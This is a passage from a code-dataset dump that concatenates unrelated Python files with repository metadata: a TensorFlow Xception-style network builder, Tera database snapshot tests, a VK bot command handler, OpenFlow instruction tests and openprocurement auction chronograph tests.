ifTest=network._ifTest, epsilon=1e-5, \ name='ConvEntry128_2', dtype=tf.float32) layers.append(net) added = toadd.output + net.output toadd = Layer.Conv2D(added, convChannels=256, \ convKernel=[1, 1], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvEntry1x1_2', dtype=tf.float32) layers.append(toadd) acted = Layer.Activation(added, Layer.ReLU, name='ReLUEntry256_0') layers.append(acted) net = Layer.SepConv2D(acted.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvEntry256_1', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='ConvEntry256_2', dtype=tf.float32) layers.append(net) added = toadd.output + net.output toadd = Layer.Conv2D(added, convChannels=728, \ convKernel=[1, 1], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvEntry1x1_3', dtype=tf.float32) layers.append(toadd) acted = Layer.Activation(added, Layer.ReLU, name='ReLUEntry728_0') layers.append(acted) net = Layer.SepConv2D(acted.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvEntry728_1', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='ConvEntry728_2', dtype=tf.float32) layers.append(net) added = toadd.output + net.output conved = added for idx in range(network._numMiddle): net = Layer.Activation(conved, Layer.ReLU, name='ActMiddle'+str(idx)+'_1') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_1', dtype=tf.float32) layers.append(net) net = Layer.Activation(net.output, Layer.ReLU, name='ReLUMiddle'+str(idx)+'_2') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_2', dtype=tf.float32) layers.append(net) net = Layer.Activation(net.output, Layer.ReLU, name='ReLUMiddle'+str(idx)+'_3') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_3', dtype=tf.float32) layers.append(net) conved = net.output + conved toadd = Layer.Conv2D(conved, convChannels=1024, \ convKernel=[1, 1], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvExit1x1_1', dtype=tf.float32) layers.append(toadd) net = Layer.Activation(conved, Layer.ReLU, name='ActExit728_1') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=728, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvExit728_1', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=1024, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='ConvExit1024_1', dtype=tf.float32) layers.append(net) added = toadd.output + net.output net = Layer.SepConv2D(added, convChannels=1536, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvExit1536_1', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=2048, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvExit2048_1', dtype=tf.float32) layers.append(net) net = Layer.GlobalAvgPool(net.output, name='GlobalAvgPool') layers.append(net) return net.output, layers

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209,398

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0.030445

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false

0.001413

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null

0

1

0

1

0

null

0

7

408e965571886bdd1a11ae164c4e6a3ec90948ca

1,202

py

Python

python/module/data.py

PythonXCII/internship_aug2020

3e10bc7ced0c8f8efb5d5d2d8cf6809a82363ea0

[ "Unlicense" ]

null

python/module/data.py

PythonXCII/internship_aug2020

3e10bc7ced0c8f8efb5d5d2d8cf6809a82363ea0

[ "Unlicense" ]

null

python/module/data.py

PythonXCII/internship_aug2020

3e10bc7ced0c8f8efb5d5d2d8cf6809a82363ea0

[ "Unlicense" ]

null

products = [ {"name": "Prod1", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod2", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod3", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod4", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod5", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod6", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod7", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod8", "amount": {"min": 10000, "max": 99999}, "price": {"min": 1, "max": 100}}, {"name": "Prod9", "amount": {"min": 10000, "max": 99999}, "price": {"min": 0, "max": 100}}, {"name": "Prod10", "amount": {"min": 10000, "max": 99999}, "price": {"min": 0, "max": 100}}, ] obj_list = [] class ParentProduct: def __init__(self, name): self.name = name def show_name(self): print(f"Name of this product is {self.name}") return f"Name of this product is {self.name}"

52.26087

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0.506656

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0

0.154555

0.187188

1,202

22

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1

0

1

0

null

0

7

40ce0430dab24f60ff496f813777045b3352747a

10,452

py

Python

test/testcase/test_snapshot.py

abin-coding/baidu

8cd2bc1d69c7b93afc8e96c8af2c9489e0b51012

[ "BSD-3-Clause" ]

4

2015-11-05T07:39:09.000Z

2021-11-17T10:45:46.000Z

test/testcase/test_snapshot.py

abin-coding/baidu

8cd2bc1d69c7b93afc8e96c8af2c9489e0b51012

[ "BSD-3-Clause" ]

null

test/testcase/test_snapshot.py

abin-coding/baidu

8cd2bc1d69c7b93afc8e96c8af2c9489e0b51012

[ "BSD-3-Clause" ]

3

2018-10-18T03:31:26.000Z

2019-11-15T04:19:08.000Z

''' Copyright (c) 2015, Baidu.com, Inc. All Rights Reserved Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. ''' import nose import time import unittest import common from conf import const def setup(): pass def teardown(): pass class Snapshot(unittest.TestCase): def setUp(self): out = common.runcmd_output("cd %s; ./teracli showts|grep kReady" % (const.teracli_dir), ignore_status=True) #assert( len(out.split('\n')) == len(const.tabletnode_list) ) common.check_core() common.cleanup() #common.createbyfile('testcase/data/table_schema') def tearDown(self): pass ''' table write w/snapshot 1. write data set 1 2. create snapshot 3. write data set 2 4. scan w/snapshot, scan w/o snapshot & compare :return: None ''' def test_table_write_snapshot(self): common.create_singleversion_table() table_name = 'test' dump_file1 = 'dump1.out' dump_file2 = 'dump2.out' scan_file1 = 'scan1.out' scan_file2 = 'scan2.out' common.run_tera_mark([(dump_file1, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) snapshot = common.snapshot_op(table_name) common.run_tera_mark([(dump_file2, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) common.compact_tablets(common.get_tablet_list(table_name)) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=False, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=False, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) ''' table write deletion w/snapshot 1. write data set 1 2. create snapshot 3. delete data set 1 4. scan w/snapshot, scan w/o snapshot & compare :return: None ''' def test_table_write_del_snapshot(self): common.create_singleversion_table() table_name = 'test' dump_file = 'dump.out' scan_file1 = 'scan1.out' scan_file2 = 'scan2.out' common.run_tera_mark([(dump_file, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) snapshot = common.snapshot_op(table_name) common.run_tera_mark([], op='d', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) common.compact_tablets(common.get_tablet_list(table_name)) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=False, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=False, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file, scan_file1, need_sort=True)) nose.tools.assert_true(common.file_is_empty(scan_file2)) ''' table write w/version w/snapshot 1. write data set 1, 2 2. create snapshot 3. write data set 3, 4 4. scan w/snapshot, scan w/o snapshot & compare :return: None ''' def test_table_write_multiversion_snapshot(self): common.create_multiversion_table() table_name = 'test' dump_file1 = 'dump1.out' dump_file2 = 'dump2.out' scan_file1 = 'scan1.out' scan_file2 = 'scan2.out' common.run_tera_mark([(dump_file1, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) common.run_tera_mark([(dump_file1, True)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) snapshot = common.snapshot_op(table_name) common.run_tera_mark([(dump_file2, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) common.run_tera_mark([(dump_file2, True)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) common.compact_tablets(common.get_tablet_list(table_name)) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=True, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=True, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) ''' kv cluster relaunch 1. write data set 1 2. create snapshot 3. write data set 2 4. scan w/snapshot, scan w/o snapshot & compare 5. kill & launch cluster 6. repeat 4 :return: None ''' def kv_snapshot_relaunch(self): table_name = 'test' dump_file1 = 'dump1.out' dump_file2 = 'dump2.out' scan_file1 = 'scan1.out' scan_file2 = 'scan2.out' common.run_tera_mark([(dump_file1, False)], op='w', table_name=table_name, random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) snapshot = common.snapshot_op(table_name) common.run_tera_mark([(dump_file2, False)], op='w', table_name=table_name, random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) common.compact_tablets(common.get_tablet_list(table_name)) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=True, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=True, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) common.cluster_op('kill') common.cluster_op('launch') time.sleep(2) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=False, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=False, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) ''' kv cluster relaunch 1. write data set 1 2. create snapshot 3. write data set 2 4. scan w/snapshot, scan w/o snapshot & compare 5. kill & launch cluster 6. repeat 4 :return: None ''' def test_kv_snapshot_relaunch(self): common.create_kv_table() self.kv_snapshot_relaunch() ''' table cluster relaunch 1. write data set 1 2. create snapshot 3. write data set 2 4. scan w/snapshot, scan w/o snapshot & compare 5. kill & launch cluster 6. repeat 4 :return: None ''' def table_snapshot_relaunch(self): table_name = 'test' dump_file1 = 'dump1.out' dump_file2 = 'dump2.out' scan_file1 = 'scan1.out' scan_file2 = 'scan2.out' common.run_tera_mark([(dump_file1, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=10, value_size=100, num=10000, key_size=20) snapshot = common.snapshot_op(table_name) common.run_tera_mark([(dump_file2, False)], op='w', table_name=table_name, cf='cf0:q,cf1:q', random='random', key_seed=1, value_seed=11, value_size=100, num=10000, key_size=20) common.compact_tablets(common.get_tablet_list(table_name)) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=True, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=True, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) common.cluster_op('kill') common.cluster_op('launch') time.sleep(2) common.scan_table(table_name=table_name, file_path=scan_file1, allversion=True, snapshot=snapshot) common.scan_table(table_name=table_name, file_path=scan_file2, allversion=True, snapshot=0) nose.tools.assert_true(common.compare_files(dump_file1, scan_file1, need_sort=True)) nose.tools.assert_true(common.compare_files(dump_file2, scan_file2, need_sort=True)) ''' table cluster relaunch 1. write data set 1 2. create snapshot 3. write data set 2 4. scan w/snapshot, scan w/o snapshot & compare 5. kill & launch cluster 6. repeat 4 :return: None ''' def test_table_snapshot_relaunch(self): common.create_singleversion_table() self.table_snapshot_relaunch() ''' kv snapshot w/multi tablets 1. test_kv_snapshot_relaunch() :return: ''' def test_kv_snapshot_multitablets(self): common.createbyfile(schema=const.data_path + 'kv.schema', deli=const.data_path + 'deli.10') self.kv_snapshot_relaunch() ''' table snapshot w/multi tablets 1. test_tablev_snapshot_relaunch() :return: ''' def test_table_snapshot_multitablets(self): common.createbyfile(schema=const.data_path + 'table.schema', deli=const.data_path + 'deli.10') self.table_snapshot_relaunch()

44.288136

117

0.647723

1,444

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4.435596

0.099723

0.094145

0.056831

0.073068

0.892116

0.862451

0.852771

0.8484

0.834348

0.815301

0

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0.240911

10,452

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1

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false

0.023438

0.039063

0

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0

null

0

1

0

1

0

null

0

7

dc0d8b8c896e4c223d3af9c457714c28c3406540

667

py

Python

commands.py

MaskedTrench/bot

8ce755f7b195f8eb960dcb1f1b63de122ae3bd6f

[ "Apache-2.0" ]

null

commands.py

MaskedTrench/bot

8ce755f7b195f8eb960dcb1f1b63de122ae3bd6f

[ "Apache-2.0" ]

null

commands.py

MaskedTrench/bot

8ce755f7b195f8eb960dcb1f1b63de122ae3bd6f

[ "Apache-2.0" ]

null

class vk: def PersonalCommands(event): text = event.text.split(" ") print(text, event.text) if '/команды' == text[0]: return "Text goes here" elif '/регистрация' == text[0]: return "Link to forms" elif '/статьи' == text[0]: return "FOR HOUNOR AND BLOOD!" else: return "None" def PublicCommands(event): text = event.text.split(" ") print(text, event.text) if '/команды' == text[0]: return "Text goes here" elif '/регистрация' == text[0]: return "Link to forms" elif '/статьи' == text[0]: return "FOR HOUNOR AND BLOOD!" else: return "None"

39.235294

70

0.550225

80

667

4.5875

0.3375

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0.179837

0.098093

0.882834

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0.304348

667

17

71

39.235294

0.778017

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0.23988

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0.133333

false

0

0.2

0.133333

0

null

0

1

0

1

0

null

0

7

904d793d2ecc800237716d2d931d8b2150a1c56f

1,842

py

Python

tests/v0x02/test_common/test_flow_instruction.py

smythtech/python-openflow-legacy

f4ddb06ac8c98f074c04f027df4b52542e41c123

[ "MIT" ]

null

tests/v0x02/test_common/test_flow_instruction.py

smythtech/python-openflow-legacy

f4ddb06ac8c98f074c04f027df4b52542e41c123

[ "MIT" ]

null

tests/v0x02/test_common/test_flow_instruction.py

smythtech/python-openflow-legacy

f4ddb06ac8c98f074c04f027df4b52542e41c123

[ "MIT" ]

null

import unittest from pyof.v0x02.common import flow_instruction class TestOFPInstructionGoToTable(unittest.TestCase): def test_get_size(self): message = flow_instruction.OFPInstructionGoToTable( type=flow_instruction.OFPInstructionsType.OFPIT_GOTO_TABLE, len=8, table_id=1, pad=[0, 0, 0]) self.assertEqual(message.get_size(), 8) def test_pack(self): message = flow_instruction.OFPInstructionGoToTable( type=flow_instruction.OFPInstructionsType.OFPIT_GOTO_TABLE, len=8, table_id=1, pad=[0, 0, 0]) message.pack() def test_unpack(self): pass class TestOFPInstructionWriteMetadata(unittest.TestCase): def test_get_size(self): message = flow_instruction.OFPInstructionWriteMetadata( type=flow_instruction.OFPInstructionsType.OFPIT_WRITE_METADATA, len=24, pad=[0, 0, 0, 0], metadata=1, metadata_mask=1) self.assertEqual(message.get_size(), 24) def test_pack(self): message = flow_instruction.OFPInstructionWriteMetadata( type=flow_instruction.OFPInstructionsType.OFPIT_WRITE_METADATA, len=24, pad=[0, 0, 0, 0], metadata=1, metadata_mask=1) message.pack() def test_unpack(self): pass class TestOFPInstructionActions(unittest.TestCase): def test_get_size(self): message = flow_instruction.OFPInstructionActions( type=flow_instruction.OFPInstructionsType.OFPIT_WRITE_ACTIONS, len=8) self.assertEqual(message.get_size(), 8) def test_pack(self): message = flow_instruction.OFPInstructionActions( type=flow_instruction.OFPInstructionsType.OFPIT_WRITE_ACTIONS, len=8) message.pack() def test_unpack(self): pass

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79

0.674267

199

1,842

6.020101

0.211055

0.162771

0.075125

0.130217

0.8798

0.855593

0.8197

0.75793

0

0.024911

0.237242

1,842

54

80

34.111111

0.827758

0

0.853659

0

0.073171

1

0.219512

false

0.073171

0.04878

0

0.341463

0

null

0

1

0

1

0

null

0

1

0

1

0

9

907ce10da11ce27e1fd621928884ac38e78b6a40

140

py

Python

tests/test_utils/test_testing.py

bigdata-ustc/CangJie

a3264082fa0432d257b5c4722b14c55f9092a411

[ "MIT" ]

2

2020-03-04T02:27:29.000Z

2020-05-22T04:07:24.000Z

tests/test_utils/test_testing.py

tswsxk/CangJie

50c5183eae1d4f10c4cf364262437afcf54427fa

[ "MIT" ]

null

tests/test_utils/test_testing.py

tswsxk/CangJie

50c5183eae1d4f10c4cf364262437afcf54427fa

[ "MIT" ]

1

2020-01-07T08:34:59.000Z

# coding: utf-8 # 2020/1/3 @ tongshiwei from CangJie.utils.testing import pseudo_sentence def test_testing(): pseudo_sentence(5, 20)

15.555556

49

0.735714

21

140

4.761905

0.857143

0.28

0

0.084746

0.157143

140

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null

0

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1

0

1

0

7

90c98a3cd381e8c2019c749759c845e2980ff93a

49,208

py

Python

openprocurement/auctions/insider/tests/chronograph.py

kukirokuk/dutchsales

41f6fca69c8ecd9dd4c4bba567635b418d371203

[ "Apache-2.0" ]

null

openprocurement/auctions/insider/tests/chronograph.py

kukirokuk/dutchsales

41f6fca69c8ecd9dd4c4bba567635b418d371203

[ "Apache-2.0" ]

null

openprocurement/auctions/insider/tests/chronograph.py

kukirokuk/dutchsales

41f6fca69c8ecd9dd4c4bba567635b418d371203

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import unittest from datetime import datetime, timedelta from openprocurement.api.models import get_now from openprocurement.auctions.insider.tests.base import BaseAuctionWebTest, test_lots, test_bids, test_financial_auction_data, test_financial_organization, test_financial_bids, test_organization class AuctionSwitchQualificationResourceTest(BaseAuctionWebTest): initial_bids = test_bids[:1] def test_switch_to_qualification(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "unsuccessful") self.assertNotIn("awards", response.json['data']) class AuctionSwitchAuctionResourceTest(BaseAuctionWebTest): initial_bids = test_bids def test_switch_to_auction(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.auction") class AuctionSwitchUnsuccessfulResourceTest(BaseAuctionWebTest): def test_switch_to_unsuccessful(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "unsuccessful") if self.initial_lots: self.assertEqual(set([i['status'] for i in response.json['data']["lots"]]), set(["unsuccessful"])) @unittest.skip("option not available") class AuctionLotSwitchQualificationResourceTest(AuctionSwitchQualificationResourceTest): initial_lots = test_lots @unittest.skip("option not available") class AuctionLotSwitchAuctionResourceTest(AuctionSwitchAuctionResourceTest): initial_lots = test_lots @unittest.skip("option not available") class AuctionLotSwitchUnsuccessfulResourceTest(AuctionSwitchUnsuccessfulResourceTest): initial_lots = test_lots class AuctionAuctionPeriodResourceTest(BaseAuctionWebTest): initial_bids = test_bids def test_set_auction_period(self): self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], 'active.tendering') if self.initial_lots: item = response.json['data']["lots"][0] else: item = response.json['data'] self.assertIn('auctionPeriod', item) self.assertIn('shouldStartAfter', item['auctionPeriod']) self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertIn('T00:00:00+', item['auctionPeriod']['shouldStartAfter']) self.assertEqual(response.json['data']['next_check'], response.json['data']['tenderPeriod']['endDate']) if self.initial_lots: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": "9999-01-01T00:00:00+00:00"}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": "9999-01-01T00:00:00+00:00"}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(item['auctionPeriod']['startDate'], '9999-01-01T00:00:00+00:00') if self.initial_lots: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": None}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": None}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertNotIn('startDate', item['auctionPeriod']) def test_reset_auction_period(self): self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], 'active.tendering') if self.initial_lots: item = response.json['data']["lots"][0] else: item = response.json['data'] self.assertIn('auctionPeriod', item) self.assertIn('shouldStartAfter', item['auctionPeriod']) self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertEqual(response.json['data']['next_check'], response.json['data']['tenderPeriod']['endDate']) if self.initial_lots: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertIn('9999-01-01T00:00:00', item['auctionPeriod']['startDate']) self.set_status('active.auction', {'status': 'active.tendering'}) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], 'active.auction') item = response.json['data']["lots"][0] if self.initial_lots else response.json['data'] self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) if self.initial_lots: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": "9999-01-01T00:00:00"}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], 'active.auction') self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertIn('9999-01-01T00:00:00', item['auctionPeriod']['startDate']) self.assertIn('9999-01-01T00:00:00', response.json['data']['next_check']) now = get_now().isoformat() auction = self.db.get(self.auction_id) if self.initial_lots: auction['lots'][0]['auctionPeriod']['startDate'] = now else: auction['auctionPeriod']['startDate'] = now self.db.save(auction) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], 'active.auction') item = response.json['data']["lots"][0] if self.initial_lots else response.json['data'] self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertGreater(response.json['data']['next_check'], item['auctionPeriod']['startDate']) self.assertEqual(response.json['data']['next_check'], self.db.get(self.auction_id)['next_check']) if self.initial_lots: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"lots": [{"auctionPeriod": {"startDate": response.json['data']['tenderPeriod']['endDate']}}]}}) item = response.json['data']["lots"][0] else: response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {"auctionPeriod": {"startDate": response.json['data']['tenderPeriod']['endDate']}}}) item = response.json['data'] self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], 'active.auction') self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertNotIn('9999-01-01T00:00:00', item['auctionPeriod']['startDate']) self.assertGreater(response.json['data']['next_check'], response.json['data']['tenderPeriod']['endDate']) auction = self.db.get(self.auction_id) self.assertGreater(auction['next_check'], response.json['data']['tenderPeriod']['endDate']) auction['tenderPeriod']['endDate'] = auction['tenderPeriod']['startDate'] if self.initial_lots: auction['lots'][0]['auctionPeriod']['startDate'] = auction['tenderPeriod']['startDate'] else: auction['auctionPeriod']['startDate'] = auction['tenderPeriod']['startDate'] self.db.save(auction) response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) if self.initial_lots: item = response.json['data']["lots"][0] else: item = response.json['data'] self.assertGreaterEqual(item['auctionPeriod']['shouldStartAfter'], response.json['data']['tenderPeriod']['endDate']) self.assertNotIn('next_check', response.json['data']) self.assertNotIn('next_check', self.db.get(self.auction_id)) shouldStartAfter = item['auctionPeriod']['shouldStartAfter'] response = self.app.patch_json('/auctions/{}'.format(self.auction_id), {'data': {'id': self.auction_id}}) if self.initial_lots: item = response.json['data']["lots"][0] else: item = response.json['data'] self.assertEqual(item['auctionPeriod']['shouldStartAfter'], shouldStartAfter) self.assertNotIn('next_check', response.json['data']) if self.initial_lots: response = 